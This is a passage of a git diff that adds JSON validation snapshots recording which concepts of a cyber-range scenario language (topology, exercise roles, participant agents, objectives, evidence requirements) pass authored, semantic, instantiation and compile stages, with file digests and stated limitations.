orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "06d333d4aa19d6164121a92193d36d36ffb5237183eac5a813caf61b759872b7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "99b524325ae86553f39e2b7b707fb5a09a7a77901cf6931e448792d94adc048c", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "27facce630304cf2c8a3d3e32a0a128d53575903f993db4bbff109b13939ec56", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "a1194a61ca922029a83cb57823e6af57067a56ef", + "snapshot_id": "raes-standardized-specification-coverage-issue-1338-v41", + "snapshot_revision": "41.0.0", + "source_state": { + "base_revision": "a1194a61ca922029a83cb57823e6af57067a56ef", + "checkout_state": "modified", + "implementation_digest": "ec21ef034fd21398756470c3c95650c263cd2abc9461d6669d8d916dd60aba59", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v42.json b/docs/research/specification-coverage/execution-snapshot-v42.json new file mode 100644 index 000000000..55adb692c --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v42.json @@ -0,0 +1,699 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-21T13:22:41.111184+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + 